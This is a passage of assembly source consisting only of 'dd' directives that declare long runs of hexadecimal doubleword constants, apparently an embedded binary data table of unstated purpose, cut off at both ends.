5891B000h, 76523E6Ah dd 16D23FCh, 4A401E06h, 80F43324h, 811E0E85h, 50F50025h dd 952CAA62h, 2116A612h, 9C70E1C0h, 9380D94h, 0E44F70D7h dd 63B56404h, 0BC098540h, 0A9643165h, 0EF9D13h, 0B68F638Bh dd 0FCAE4526h, 89D1D808h, 5CB2BC03h, 0AF113017h, 0DF1D3E9Dh dd 39B38F66h, 768D482h, 0F26A5468h, 0B0184841h, 0C4932AA2h dd 0CF491288h, 87E484A0h, 24D8E074h, 5490FBC2h, 70A9B880h dd 9B201098h, 2826F18Eh, 2C788703h, 3002C422h, 4138AA49h dd 6FCC8493h, 421E0460h, 11344A23h, 0C8700F5h, 6F366C1Eh dd 1A4B3DF8h, 0C0341F24h, 4DF131EBh, 83FC2149h, 0EB6CD74Bh dd 0CDC10ABEh, 0BE90DBD5h, 0D2401012h, 8884066Ch, 0A4FCB01Eh dd 81D7E815h, 0F69F83F8h, 939100CBh, 2F7752C0h, 0BC03C8E8h dd 0F57F387Eh, 8499C5D0h, 0E009A007h, 26947D20h, 60D8D7DAh dd 59301B4Bh, 0C10B89Ah, 384EADEh, 17A201D3h, 240AC62Eh dd 7E088462h, 0FEAA0070h, 3E1D7B99h, 0CDDB2606h, 0AE9DFD9h dd 580A77Ch, 3EA0C24Ch, 0C90FD0C5h, 981F0AD4h, 0C0BF1D45h dd 5CD8F611h, 0C40B9A4Eh, 0FD0400A6h, 3E75D11h, 58BDF941h dd 0B7B210D3h, 263FE448h, 342CA948h, 0F48E206Fh, 17C0AAC8h dd 22D3FAh, 994F25EAh, 4810633Ah, 0EB695F60h, 0FF3F139h dd 0A4EE794Ch, 8091E704h, 0B3E17830h, 467038A4h, 55580B11h dd 938EAD88h, 721E035Eh, 50DCB0FDh, 7384A003h, 0E4C20C5Bh dd 72101BE8h, 0AC4B91Ch, 3BA25446h, 921C02F8h, 428B9BD2h dd 6BE674E8h, 0DF4A2D09h, 0FB20214Ch, 0D801DD10h, 232BC8F9h dd 0E681B00h, 3BEC92A8h, 0EE121D41h, 40FFC8DEh, 77EBB800h dd 1D55CF85h, 302BE079h, 7D76DF9h, 3125741Dh, 0A13AF3C2h dd 1ACC24Dh, 32A0A238h, 282C2CEDh, 0BAC010C8h, 469668E2h dd 1A228Eh, 0D3E2B22Eh, 0ECEF4A24h, 267E6492h, 1FB04827h dd 0FC9311ECh, 0E8E08593h, 5B4FECC0h, 0D10C7073h, 705C8FA2h dd 0CFF6B1CCh, 0DBEC24h, 132E73A2h, 976466ECh, 0B4966F00h dd 0F8103877h, 0E4CD480Ah, 1C18D927h, 0C72E7796h, 6E50C8BFh dd 0D7360002h, 0E3A1573Bh, 54542BFAh, 0A00017E0h, 6D2E41BBh dd 1CF05B78h, 0AD791043h, 0B7919C17h, 0D699BF80h, 7DF87963h dd 0ECC97624h, 72A4043Ah, 5CA42B16h, 7E083AC1h, 7B87FA80h dd 4D67B74Ah, 0FBD93Fh, 616D4057h, 249932ADh, 0A9149DD3h dd 181BD11Ch, 70CA030Bh, 77BA2408h, 0E8C8884Dh, 0CA51E2Eh dd 0CEA38E96h, 0A0A909E0h, 0CC500A2Fh, 0EA135BB4h, 5C47C0DCh dd 90753A01h, 0C7B7A408h, 58070142h, 87986375h, 6F005A9Fh dd 48CF9A26h, 0A20C144Bh, 1921A3B8h, 68512E1Fh, 0C60F7313h dd 7B20A0BEh, 1567368Fh, 801FF8F3h, 0E3005739h, 0B61CF9CEh dd 8003F9Fh, 0A594AB46h, 70312326h, 0CD0ACC1h, 18F4E74Bh dd 79025EC0h, 6AA25FC1h, 0DA84A0E8h, 0A365C99h, 0EED801DEh dd 1017A7CCh, 4F801991h, 0A7C27572h, 0E722D890h, 6AA518A3h dd 9A48718Fh, 0A13084B6h, 6C5C56C2h, 33384920h, 6D11B342h dd 0EF4B0A93h, 1A82C414h, 6B5C166Ah, 0A2210310h, 65CE503Fh dd 84DAFBFAh, 0D442EE00h, 4BD9D3E3h, 0A6F702AFh, 2B822623h dd 0BB70E4F0h, 0C976A00h, 39957D0Ah, 5C2C943Ah, 0C7014846h dd 0F13C44D0h, 30EE40EDh, 9B00E023h, 4BDC0318h, 0B948A42h dd 0DF9DD709h, 0C8DE6807h, 20D9B809h, 1D8D0E04h, 0C4C1FF4h dd 4391803Bh, 178CCF48h, 52F9BF62h, 9343305Bh, 2002E7F4h dd 5DA25330h, 52AC9AA8h, 76361308h, 8C2453AFh, 0CC242880h dd 0A54064DEh, 3835B8h, 0BD21445Dh, 4D56A67Dh, 271C2658h dd 9783878h, 7FF80138h, 5777EE4Ch, 825432B0h, 0E8A24610h dd 0BE5DA84h, 0AD674F94h, 4ABA0868h, 3CDF3824h, 448B7892h dd 16C1AD88h, 92FD53EDh, 2B7F0486h, 11760B4h, 849369A2h dd 1EF4A949h, 0B86A2020h, 882354FAh, 5C700A08h, 81E85725h dd 0D53E34DCh, 6DF7F067h, 8B8DB500h, 92583F52h, 0A0555917h dd 0A845C069h, 0A0611AE4h, 37A260CCh, 84025A4Eh, 4391484Eh dd 5447CADCh, 0DE9130h, 0D56CC652h, 0C0E59E2Ch, 0CF4A5130h dd 0B4B90EE8h, 0FCA9920Ah, 0A7E34300h, 16528D37h, 88B2F926h dd 75002818h, 93BA2D7Ch, 0EF810Ah, 9BE94EFAh, 87B07790h dd 6CC0AA10h, 72B6C108h, 8D84DA08h, 0E4C913FAh, 0A500300Bh dd 4E509612h, 0A934AFEh, 0BB4BDBBEh, 97D50038h, 6D70D136h dd 0F53DC700h, 93CA19C9h, 0A34700EDh, 5C8CDC9Fh, 48014B72h dd 7F966395h, 1024A773h, 805C9C2Ch, 5E8E0A61h, 0A89ECEADh dd 45465Eh, 1FFA830Ch, 77ECCE5h, 2CDA9C5Ch, 60908B62h dd 0B9C55339h, 0F4C8EC78h, 42092AAh, 0ED5CD742h, 5194C02Dh dd 1825CFDCh, 0F178A53Ch, 28C016h, 6443849h, 0CB9CA824h dd 96E58C9Bh, 0AF122028h, 28D1BDF9h, 0FB12A223h, 142CB8F2h dd 5900C6BFh, 0C40ACF71h, 263F03A5h, 8A919FDBh, 5E56300Ah dd 4192D43Eh, 48B8140Bh, 41A38220h, 18FC3850h, 0E0D0D51Dh dd 0AACF2877h, 345808BCh, 0F609F762h, 496460C9h, 0C11AF0D7h dd 0E7A28048h, 5C21047Fh, 0A0C6C961h, 0E0138C98h, 0C434010Ah dd 1CE9714Ah, 0B1843063h, 0BD05C17Ah, 779BD20Bh, 0CFD1F4D7h dd 60A03620h, 4A27788h, 0AE2A48C0h, 490B24Ah, 0B20E8673h dd 0FA6C4181h, 0A3086E7h, 0EF24DCCBh, 92BE02B0h, 0D4727577h dd 223C724Ch, 0FB0115CBh, 79049011h, 808D1226h, 231903C9h dd 3316D100h, 28569193h, 0C4C80C47h, 70980844h, 0CAB4E24h dd 465EA42Ch, 66A501ABh, 790499B1h, 0A03EA848h, 0F6E6CD78h dd 48470192h, 56CA41CBh, 4E03250h, 0BD9B1F94h, 898110Bh dd 3B007256h, 77A57D40h, 7ABA41D3h, 0D0BF028Dh, 0B56FABB1h dd 91D6A440h, 341F980h, 4611D2A8h, 0A053D038h, 324FA2A8h dd 0B038128Eh, 405B052Eh, 4823743Ah, 8530A100h, 273EC350h dd 109090A2h, 922E8E7h, 0E4C90ABEh, 419830BCh, 3CC8C74Bh dd 0D3261520h, 463C04F4h, 0DA07819Fh, 0B0A83934h, 63B064DCh dd 580A8047h, 0AC448C5Dh, 265F7090h, 261013BEh, 48EC11A8h dd 88983258h, 6438C01Dh, 9D896A8h, 54C45D4Ch, 8AABE440h dd 10320CC0h, 77E1CC13h, 2CD86CD0h, 0A8C969DAh, 0C1A1F305h dd 1A07AD0h, 51804D2Bh, 0A9AE8892h, 48723543h, 27A78C00h dd 0FF06823Dh, 26B7034Ch, 0B3EF4FC7h, 0F8E370C6h, 0C49E5067h dd 898D818Ch, 1F8CB16Fh dd 0FA93C4Bh, 4AA420B4h, 7A4306Ch, 4A23431Eh, 0F4112Ch dd 411E0F84h, 1873C8B2h, 0B15E4410h, 2E4B24D8h, 527F6449h dd 8442E1FCh, 0F9B4E2D9h, 180679FCh, 427C0730h, 0C285FD2Fh dd 0FC4A14CFh, 0DB31AA60h, 866C5C4Ch, 79680D97h, 0B4DA02A6h dd 0A7DF4E53h, 95251C79h, 80B691E4h, 0A9D5A34Ch, 0ED703F56h dd 0FCA0B927h, 7FBE215Bh, 7423120Ch, 9E87921Eh, 11BD018Ch dd 21A8CB53h, 5DB4000Ch, 0AB3482D8h, 8922046h, 37E8C41Eh dd 0B3187C06h, 2BF35310h, 4F14C805h, 80B4A327h, 0E3471896h dd 16D0118Eh, 0C8B71738h, 0C63A842Ch, 4C89E00Fh, 58382CACh dd 7201D493h, 57D8BDACh, 1E884418h, 7AAC0F6Ah, 348F74C6h dd 9B28B6E0h, 945AA2D8h, 0BE36E861h, 0B8A3F407h, 0D74B091Ch dd 2670E07Ch, 52FB3192h, 54BD2BD8h, 42C4C1ACh, 29400C5h dd 405C9451h, 6D5A2B6Eh, 2292EF12h, 0A8C8C4F7h, 0F4AC3064h dd 40047050h, 80B02411h, 409BFB4Eh, 2087F422h, 0C0FEB208h dd 961BDAA7h, 0DC677713h, 0BA133C40h, 785C9902h, 20044B7Eh dd 0DBCC58ACh, 0B7C2095h, 185F7FFh, 0E9A54665h, 0F30CCDFAh dd 2EC4EA91h, 0A0AC1074h, 80832078h, 715CD40Bh, 6C48AADBh dd 0CE28408h, 61714963h, 0F02054B8h, 5A67A3Eh, 6A1A5A57h dd 0C328A082h, 8DAAE0A8h, 2EAF615h, 0BA23E140h, 2E44A208h dd 0A870B9DCh, 7BF33000h, 4FE1C960h, 88491412h, 0A5AD6C05h dd 0A6B2A003h, 306012EEh, 3F4C03D7h, 2CA0395Eh, 6BF8A8D9h dd 0A4B4D8B2h, 0A03964A6h, 0DC0A34ECh, 6068C719h, 5C9ECB7Ch dd 0B8E8EE2Bh, 0C0D0C913h, 1B42C1h, 3F0154C7h, 4FDC3DB9h dd 20B5A20Fh, 16EC6110h, 1460406Ah, 1809B63h, 4A461E08h dd 0B0243C14h, 1E1083h, 33D4135h, 4CA7E40Ch, 57323Fh, 54B7B329h dd 0AADBA2D0h, 0FC6C6088h, 0D8538237h, 0DD075F84h, 23336E00h dd 8708BA35h, 0A74624DAh, 41D48482h, 0A66DA503h, 0BBDA1B89h dd 0A0E14189h, 2614D430h, 30B0E4BAh, 8CC5DC2Ah, 4793D609h dd 0DB08A01Bh, 1DA751EFh, 20DFFE6h, 0BBF0C220h, 2C5E2862h dd 7465Eh, 0B24D9011h, 987E9FF9h, 0F598985Ch, 30308861h dd 60B9FBh, 680E32EDh, 0A600CF3Fh, 21D08FA5h, 7DFD4Ch dd 4B3EF255h, 0E0562CA1h, 5CBD97h, 7FFDD1DEh, 0CC3C07F8h dd 940245D9h, 7C18C10Ch, 8848CE14h, 4984C004h, 680219F2h dd 58C094F5h, 0E186E2BAh, 0E07DA640h, 0EC75D0B9h, 8CBC6B07h dd 78224BCFh, 0BBB06806h, 981C9251h, 984CB080h, 0F3592C80h dd 0F55F08F4h, 5A58842Fh, 4AEBB200h, 6013C75Eh, 0C091D01h dd 8B6A0998h, 918C1784h, 232680A9h, 26252A66h, 0C94CDE7h dd 7D78F2A5h, 6DD46E09h, 0D3F00245h, 9C1050C7h, 0CD03D6ACh dd 89B7F1C8h, 0F0F6C180h, 1C7D7824h, 802AAA7Ah, 30B187B4h dd 0F5012EA3h, 551F9621h, 9441FEEEh, 2A01B4CCh, 0FD598E5Ah dd 0A385C0D5h, 847B9E8h, 0F6C955E7h, 5F18D480h, 0EE3460h dd 0B9111388h, 4D67FCE2h, 0F6EAF337h, 949078B4h, 50B32F8h dd 5377E072h, 0A8CC94B9h, 33DEB9E4h, 6E9B78E8h, 34A03B00h dd 2470ED0Ah, 5FF4FEEh, 48921CA4h, 1B0175E8h, 87451963h dd 88E0C430h, 64A1CDF6h, 51CBD437h, 8C698400h, 47D0C005h dd 0FEC23DB7h, 0F6E874CCh, 0F4234C8Ch, 0A20DF442h, 4421DD6Fh dd 8254B844h, 0A469E6Ah, 53B1110Ch, 30A8A234h, 5A0001F8h dd 0A4C131FEh, 5884BF4Bh, 0F5387826h, 9A089E1h, 679AEC10h dd 4C115D4Eh, 7B186254h, 0BE542843h, 737FA208h, 5259A944h dd 9C52F6AFh, 60F5E029h, 918ADD1h, 1800EE7Fh, 9B55B1DCh dd 9A15FB11h, 0B0F80030h, 995F1601h, 0D3F2B31Ch, 0B4F5E22Ch dd 12DA7F08h, 0A4646008h, 0E456E7E8h, 44FB1064h, 26A5B588h dd 4CC1C740h, 9A06C460h, 96CC5169h, 5617E009h, 13D000C4h dd 0B0B8D826h, 0EB1E20B4h, 9061BA26h, 68C34F3Ah, 0C2D7B3BFh dd 82384A81h, 67639A4Ch, 6007449Ch, 0EA2D828h, 9376CB8Fh dd 0E15E5CC5h, 0DA4C08BCh, 92521418h, 0E1B4118h, 838C98A5h dd 0E1BE0CE2h, 4EDC4E02h, 98F35440h, 0C9E62CCDh, 53F11378h dd 7CF244h, 3F5B27E4h, 0A8D1006h, 0FC6A2CD8h, 0A49AEB40h dd 0A7B8F498h, 0D92F49C0h, 0EE41270h, 2D539F84h, 88177266h dd 78A4F744h, 0AAB613EBh, 0B1BC875Dh, 72F5CA24h, 71FE30B4h dd 251663A9h, 78408B1Fh, 72281478h, 0FA2C14FDh, 0C626DCC5h dd 605E6A09h, 4AE4230h, 0D7484E2Ch, 12D4F184h, 0B53011CCh dd 966B17E2h, 0B0CB86h, 8FE28D21h, 60B9F9D9h, 3947E1D8h dd 5E1F0A19h, 7504C9A7h, 1482BDE5h, 0EDAD2092h, 4B005202h dd 0F3119743h, 75AB15Bh, 0BDB263B6h, 0E0BA147h, 9350CC61h dd 1682022Eh, 0D9C7200h, 6DC09Fh, 0E04C1ADFh, 82782142h dd 0C5489DE3h, 5EDB6646h, 0DF7B0011h, 0EEE450D4h, 0DC33F735h dd 7708C6h, 0D4D7A021h, 0FF6BCEFCh, 26DE9F00h, 396A08EEh dd 187300E4h, 64530A02h, 78302082h, 61DC396Ch, 0A1B9033Fh dd 7088FA94h, 25741800h, 815206B7h, 2CCF1805h, 6AF3A871h dd 0E8500730h, 1747782h, 7657294Ch, 470EAC18h, 48A7D530h dd 0C1CE6264h, 0CEE44CD4h, 0D39C000Eh, 7CD9A3D4h, 5B7F0FE2h dd 0E641B8A0h, 0D815533Fh, 3903C28Bh, 0E05507E8h, 0CD92C0BAh dd 50F103D9h, 26B6444Bh, 9F0BA006h, 4B884ACh, 0FB4D1202h dd 0E8110618h, 7B404440h, 6AB0F30Ch, 3F31D915h, 9A011E50h dd 92867F5Fh, 27089837h, 5485621h, 0BBDFA21Eh, 0F4E404ABh dd 0E080007Eh, 652FF28h, 0E4CE8564h, 4300186Ch, 909B53E5h dd 66E9CC0h, 4B3FDEFCh, 1109D009h, 23B9DF02h, 38A73720h dd 0A8504E48h, 0E243F8ECh, 0A221C086h, 0BB3B669h, 5F17560Ch dd 0D69C0903h, 0B8211421h, 4081961Fh, 7D91D1D7h, 40606C4Ah dd 0F0B042C1h, 8488D084h, 88E1C710h, 1E51C3B1h, 622F84F5h dd 57202684h, 1BF1E49h, 74DC59E3h, 91AB2ADDh, 70804AB0h dd 8E0BBAB6h, 0C99B448Ch, 0E6B66800h, 607610F4h, 889D3A50h dd 0C1A09930h, 88A1DC0Dh, 0B8041486h, 43008220h, 0FC671F5Ch dd 0DD92A4A0h, 3003C6E6h, 2F185A25h, 6C2FE504h, 23F2523h dd 0D6BB795h, 0C98840D2h, 808D72A2h, 0D08873FCh, 0B0940C8Bh dd 5BB08584h, 432AF60Ch, 30AB38AEh, 0E4E88A2Eh, 361BF07h dd 0BC909E90h, 9FCAA20h, 4B6D565Ah, 0F63B0802h, 0D2726720h dd 0BE20A764h, 6A0129A3h, 12030C41h, 27F0AD8h, 0EBD0921Bh dd 74443FDCh, 0C0658009h, 1ED002E3h, 17E60183h, 782C402Bh dd 0AB807001h, 0D6970A0Fh, 28B4E249h, 80167614h, 0F000F261h dd 6450229Fh, 0CFFD605h, 26470821h, 5B005548h, 89B49AAAh dd 5003385Ah, 51CE30FCh, 53F094BBh, 2CCB569Dh, 97102E02h dd 3CA24821h, 129E0B8h, 5027BC34h, 0ACFB8501h, 20314C20h dd 6826F9FCh, 0C01C6124h, 788910D2h, 4C09349h, 5B5D2246h dd 68F6FAC2h, 0BA130Ch, 0D77C7145h, 9F7415A6h, 210708CCh dd 45B2003Ah, 5A1A02B0h, 434A843h, 748250A1h, 0D4E03067h dd 0F6E45111h, 0A1826F88h, 61A6D4D8h, 0A841DBD0h, 9407405Fh dd 0F4449019h, 0B0012817h, 9225608Fh, 0D884F2C8h, 8166D8A6h dd 505A1840h, 0E317E4E4h, 1D94F740h, 199160EBh, 4143B99Dh dd 0FF67F4h, 36E0BA70h, 41703B83h, 0E8DC5B48h, 78008C97h dd 9BAD77C0h, 26809D5Ch, 422C9154h, 0AE11E074h, 1E084E18h dd 0C44F9ADEh dd 4654402Eh, 9E321Eh, 141C8844h, 0FA4F1AF7h, 0A066DC2Ah dd 35D88001h, 13A2AFC9h, 51FE1ED4h, 0A033B31Fh, 5E3078F2h dd 67EB3A47h, 34E0FA80h, 9EABB228h, 0EF0FC4Dh, 341418FEh dd 0A18C4C9Ch, 9C112B06h, 9F8042C6h, 13800F2Fh, 9D446842h dd 2050C411h, 54A07974h, 1CB0FEF1h, 0FBA09115h, 6A4A06DCh dd 0B591208h, 24E07C6Bh, 0E4403008h, 0A0B03007h, 434B1B1h dd 22BAF03Bh, 70D82C92h, 0F2DC7340h, 0C118C093h, 0DA8BDB03h dd 0F8206B19h, 0DCE80D50h, 0E839C085h, 42E6ED9Ch, 5CB09D0Ah dd 1B0434ABh, 680CB80Bh, 5E451CA1h, 61619BD8h, 0C7CA3846h dd 0D0E0B262h, 0F24682Fh, 55424AFh, 0B0424FCh, 2CA469DEh dd 0AF88814h, 0C9D5AB14h, 243E120h, 54097E18h, 304511EDh dd 11B66B6Ch, 88660BB5h, 63C4809Fh, 8F0185B6h, 0B3607A1Dh dd 7EDCBC43h, 0CC408DFAh, 0EDBED66Ch, 881F3E40h, 0A400D852h dd 0E2B7F1D2h, 49303B27h, 265F052h, 600E83E7h, 8F3279E1h dd 0F07E0291h, 89C44AB3h, 0D44804C0h, 6C45B560h, 11AF7C23h dd 0AD35000Ch, 0D5146645h, 415F02BCh, 90A70DB1h, 52052C50h dd 233F1784h, 8020CC03h, 0DC890761h, 8498AD64h, 0C1D084C4h dd 11EEF98h, 4829C29Ch, 44307422h, 23D3C193h, 129000D5h dd 0A5B40C68h, 7639E0EFh, 830100B1h, 8EA3CAE8h, 1997260Bh dd 0D7D8B2E4h, 1145B830h, 88C77C6Fh, 0B038800Ah, 0DF63B145h dd 0FDFB6918h, 0EB56D219h, 0F67FE870h, 39628E6h, 0E87C0AF0h dd 4EA43773h, 781339C0h, 577FC2ADh, 0E8D0F34Ch, 0F3B8C72h dd 0D4BFA8ABh, 11380B23h, 45B380D2h, 8C9F7C6Ah, 3330944h dd 0A89B45ABh, 90137AA2h, 0BC209444h, 6D778Eh, 3420A7F9h dd 4C90D6CCh, 0FE67B501h, 0B49266FFh, 0F7C8C0EEh, 8446824Ah dd 316FF500h, 79014270h, 6BE12EBh, 177702BAh, 80E80DA3h dd 3F2EE6F4h, 10A488D3h, 3878408h, 1FA83C5h, 94ADA91Eh dd 5540F380h, 0FD5AC10h, 96C8EF88h, 0F812ECA6h, 8B618F5h dd 0B77C6D45h, 36400BC4h, 529C45AEh, 0A3D5C301h, 3443E87Eh dd 10EAA440h, 826A08F5h, 298003FAh, 7A678931h, 0FCDC01EFh dd 0A6930E66h, 0DE92C38Eh, 64B000EEh, 6A84A954h, 80990D7Eh dd 8B56881Ch, 23954422h, 690002F9h, 80D9E708h, 25D6E79h dd 0F12BDFA5h, 0EE80B921h, 0DC267E78h, 99E49106h, 94593E6Bh dd 25465E14h, 0B7CE62Eh, 0AC816FB4h, 206A3BC1h, 632837BFh dd 6105C8F3h, 6280E659h, 0C0D8B008h, 7C7045B9h, 0E02CCF48h dd 145B139h, 0ADD088F4h, 218E909Eh, 0A410E4FCh, 81088C9Ah dd 1C4819C7h, 4C054EB2h, 24F80B12h, 18ABD019h, 0DB1E084Bh dd 2AC4379Ah, 1E435140h, 3F00765Fh, 597EB6A8h, 6345C14h dd 96921B78h, 0CCA0A11Ah, 6B804503h, 841D2B1h, 84A97144h dd 0CE8F6D80h, 0FAE030h, 0DC202F1Ah, 918EF522h, 0FF7CD402h dd 0A085789Ah, 0AB3F5EA4h, 10A0A024h, 0E40CA0A9h, 0D1F220Fh dd 963E897Eh, 0BC085D6Eh, 49CD00B6h, 846B9DABh, 6C037EE3h dd 7C909CE2h, 0BB583FB4h, 6028CE89h, 85E534C1h, 72E35B41h dd 29158822h, 911841Dh, 33AFE880h, 0CB09D0E9h, 321ECFDh dd 0F9957C18h, 88A69894h, 1C313C28h, 0BA62DC39h, 0BB9C889h dd 824A2518h, 0E805E09Bh, 0A8176B20h, 0ECD68BC8h, 0DC3F255Ah dd 76E55020h, 0AC18EA93h, 784D25Dh, 1718926Bh, 40CC883Ah dd 0CEA5AB30h, 80A18CBCh, 90C645F2h, 0AA20D364h, 0C4E25328h dd 0E6D07954h, 809D5906h, 9940A0F8h, 0DCDC3C34h, 8C72FCh dd 67EC92E8h, 427C187Eh, 40983890h, 4741D44h, 0DDB3F822h dd 40E0C4B8h, 0E9E37674h, 13005531h, 734905B7h, 1F83EA01h dd 6CE9DDBh, 98D9B98Eh, 0B005FA2Ah, 0FCCA0E00h, 2CC93D89h dd 936D0041h, 603ACE75h, 0E70A9C73h, 40C78215h, 702C013Dh dd 8644B09Bh, 44C0F8A8h, 79582028h, 3FE481CCh, 6020FD4Fh dd 0ECB35C96h, 9A111822h, 5A0C8088h, 92413C38h, 0EAE6D406h dd 3058305Ch, 0CB4006C7h, 4624130Dh, 0D04F444Eh, 0C87C8AD2h dd 6B9BC10Ah, 90C4204Eh, 0ACA94824h, 9812CC4Ah, 2C34444h dd 13AB58A0h, 2271E8A6h, 0EC207448h, 0B257314h, 26B2213Fh dd 0DDCE008h, 0B213244h, 0C70BC850h, 6AB6C073h, 0F0181CA0h dd 0B3503027h, 70E833CEh, 317A5B88h, 3241C10Ah, 0B411A475h dd 2106FA19h, 0B2A4EC25h, 40A20200h, 397E7350h, 910F079Bh dd 3475CA13h, 246C81A0h, 0ECF8A4B6h, 0DE404400h, 1403117Ah dd 8416A7E0h, 1297811Eh, 35044053h, 6BB094D9h, 24887A48h dd 1505DC5Dh, 2CCE825Fh, 1EC207C8h, 4DD040EFh, 54B64817h dd 61040h, 0B87BE6ADh, 6DA7CCCBh, 98742400h, 0DA837CB0h dd 0F20A1C61h, 0E2B851Fh, 80D824A7h, 4E301014h, 402F5B5Ah dd 93A9623h, 60F4A70Bh, 12537E00h, 0C69CA6ACh, 6B247078h dd 0BB6C1Eh, 240897D8h, 0E02A64h, 0DB84043Ch, 0DB5ED9Ch dd 0E6EBD202h, 811B717h, 9A6409A0h, 1AF77CA2h, 0C90145Bh dd 13B39C04h, 20A8E15Bh, 6B61A008h, 0BBE3F8E1h, 12815430h dd 0DCB34EE5h, 1E829958h, 0B8D22320h, 44469420h, 0B4B66A02h dd 1D1C5E0Bh, 0CAB662C3h, 8084216Bh, 5D361F8Fh, 0A47F2D19h dd 3AE1ED00h, 34BD413Dh, 409E2A8Ch, 0E07C3AD0h, 3F03534h dd 88DD0290h, 0A7125978h, 784B6F6Ch, 24B8099Ah, 0DC6063ACh dd 0E4234DD4h, 3F7311D6h, 602F19Dh, 45E6D0FEh, 2F308044h dd 2D66AA57h, 200F7BB9h, 0B4480A0Bh, 29C78E44h, 899059ACh dd 269C6862h, 259FA00Ch, 5416341Bh, 420AC98h, 6108B03Bh dd 7E410AEh, 48903238h, 22EB2514h, 53770D18h, 5C949104h dd 8C75BCF4h, 0B7F9331Eh, 0E5AFFA80h, 2E4D7477h, 0B6C3D30h dd 9C39BB1Dh, 70C01434h, 4D971056h, 2C4CF44Ch, 0BF268DC0h dd 0D4001554h, 0C1ABDF24h, 0F4D217Bh, 2AA89336h, 0CF7A7F87h dd 6360AEA2h, 3D73D881h, 81A260ACh, 660A98B2h, 98FA0B0Fh dd 6AC1A426h, 0E86C180Eh, 22A3B485h, 9A233C9Ch, 68EEBA8h dd 9B082218h, 0D08948FBh, 0BC8C6C82h, 0ECA08C28h, 62C4FB6h dd 0C24970CFh, 28F88C80h, 80949CF9h, 0B5059468h, 8E3F6671h dd 0A5D2020h, 70DCACF3h, 18A0BACh, 0C0A7EC60h, 0E4648645h dd 0A66096FFh, 4AB0B8Ch, 6A19F894h, 0F9A1300Ah, 0DD00D062h dd 2BB0AD8Eh, 0D5281739h, 3300A4D8h, 1EEE0A4h, 20456B1h dd 0AB8E10F3h, 4C41524Dh, 0BD83D34h, 14AE7488h, 0B0120FB4h dd 239FADA0h, 0A83132h, 21381C3h, 0CFB05B5Ch, 514CE2E8h dd 4460591Ch, 0E8D05495h, 85008C72h, 59DAF996h, 2A9F53E6h dd 0C8CDE78h, 71F1786h, 2554FAA0h, 0DC02598Ch, 102D964Ch dd 0AF4C59E4h, 7391D417h, 38BF5180h, 1A00D8AAh, 0AF3F9340h dd 0B97A20D2h, 670F8968h, 0C16C10AAh, 231175E5h, 0A3286268h dd 0F49B0B0Bh, 22971814h, 6CDCA0FCh, 0F68D3B7Eh, 1EAC7704h dd 759082B9h, 7AE54110h, 12AD4AF2h, 48D00848h, 0B8B66EC0h dd 227E460Bh, 66C7009Ah, 5C8CD2B6h, 0B797874h, 509085ECh dd 3E71B204h, 4984960h, 0B450E1F9h, 14A7EF6h, 26BA69ECh dd 0E9DFD2CAh, 78CE8CEh, 708850EDh, 784AB3DCh, 73237C3Bh dd 0EF3B5700h, 61592CEh, 8CA470A8h, 38B2BA81h, 0DBF0F20Bh dd 97142733h, 20905DF5h, 80253C18h, 0F4B4F26Bh, 8021F917h dd 74DC51A8h, 0C2CE001Dh, 480455B8h, 0E00231CFh, 0E12AC365h dd 6C7C40ADh, 0FB580AAh dd 4B1BC718h, 0DAE87E78h, 0E0016026h, 0F1E1FF25h, 1155F802h dd 0FCB8C47Dh, 0D167DC30h, 167CE5h, 53FCF4EAh, 0F046ABFEh dd 0CFB0BB50h, 0B00F547h, 0BBA1A9D0h, 0A700F2FCh, 0D51B4F13h dd 174BDB3Ch, 2E652AEh, 0A37078D2h, 442F047Ah, 0AD482497h dd 0DD1E4D60h, 11479A23h, 0B2532E29h, 9190F800h, 5C719B15h dd 94FF07Eh, 5802E3DCh, 6CFA92A8h, 0A9C0FA74h, 0DCCA2DB9h dd 24FBF0D0h, 0A4CB50Ah, 4F84CDBh, 47617320h, 7DE1D8BBh dd 6420E445h, 0E8854D18h, 152B1F09h, 0C1B334A1h, 0E7E5C403h dd 382048B8h, 222C9084h, 8625298Ch, 40284EFCh, 1B7B7E74h dd 62D0EB4Dh, 9308B8h, 9D731FE8h, 0C71090A0h, 4EDAB625h dd 3A28406Ch, 621E20A7h, 4681263h, 222434h, 0DF9ACADCh dd 88786C79h, 0AB03CDC8h, 0F07CEA0Dh, 6B291597h, 6C00BC1Ah dd 7468BE85h, 0D37ECB65h, 0DF24BCB8h, 1587681Bh, 55455E7Ch dd 61C51881h, 98E2084h, 0F9DD3153h, 3F003069h, 0FBCE2885h dd 3000D6BEh, 6783DF4Dh, 17A8F8CBh, 91DE0290h, 801C6A90h dd 85EDA989h, 3F87BA6h, 0BE795981h, 0B3C5E1B5h, 0B32E168Ch dd 14B95900h, 13EA003h, 0FAAB62E3h, 218F23F1h, 0CC48FE84h dd 0D25C8CA5h, 0C4420234h, 61BB5DF5h, 6C184650h, 0B2FB671h dd 3F54166Eh, 0E98264C5h, 0CCF57B12h, 0FBBDCC8h, 98C29D2Ch dd 24236F08h, 8C113AF4h, 168236Eh, 0E452D4E1h, 803463FEh dd 0ECD4D9A2h, 0BFF802E6h, 17C7E81Eh, 9E051C54h, 0D8907528h dd 4A6067DBh, 88248E5Dh, 0F56DC09Eh, 1E00EE59h, 7B27CBC5h dd 0C3AAD802h, 0C3C49CB0h, 6AC892A4h, 49079852h, 0FCB3C966h dd 532262C0h, 1EE7236h, 0AE32A0BCh, 360B89Eh, 0E60CB94Ch dd 40E38830h, 41D0311h, 4E184BD5h, 93291718h, 21388040h dd 895449C0h, 11601D04h, 0DCB0CEA9h, 149143h, 48DB2232h dd 43BEBF8h, 8E9F0005h, 5A28523Fh, 6C693DDCh, 43CC8912h dd 4CA782F0h, 22598AEh, 0B3AC20E4h, 96856896h, 9974AAC0h dd 189DD95Ch, 0DB42016Eh, 6943C832h, 0EB08203Dh, 329C0F40h dd 49587333h, 3CB66F30h, 38C80BB9h, 0B667C8E0h, 309E5801h dd 499A028Eh, 9790E20h, 8B9C809Bh, 6BF3448h, 4574A08Ch dd 806A5CE2h, 0DC83D8B7h, 888CA75Bh, 927F4E86h, 45C8A0D8h dd 236B8013h, 14AA2088h, 8A9C02Dh, 840B760Ch, 0D76C148h dd 0BDE08102h, 0CD5B4E35h, 0B912E0FCh, 230AB71Bh, 48F69392h dd 60562C3Eh, 97105700h, 0BEDD7981h, 0F4674DCh, 43D0B500h dd 2BED9033h, 0EC5812FCh, 0FAFB1120h, 32983400h, 4818F58Fh dd 0E06B9CB4h, 465C88C0h, 66B9B196h, 66B9841Fh, 6A45092Eh dd 3A546810h, 0A78C2078h, 0D20DB401h, 0F9A20E53h, 0CD00583Dh dd 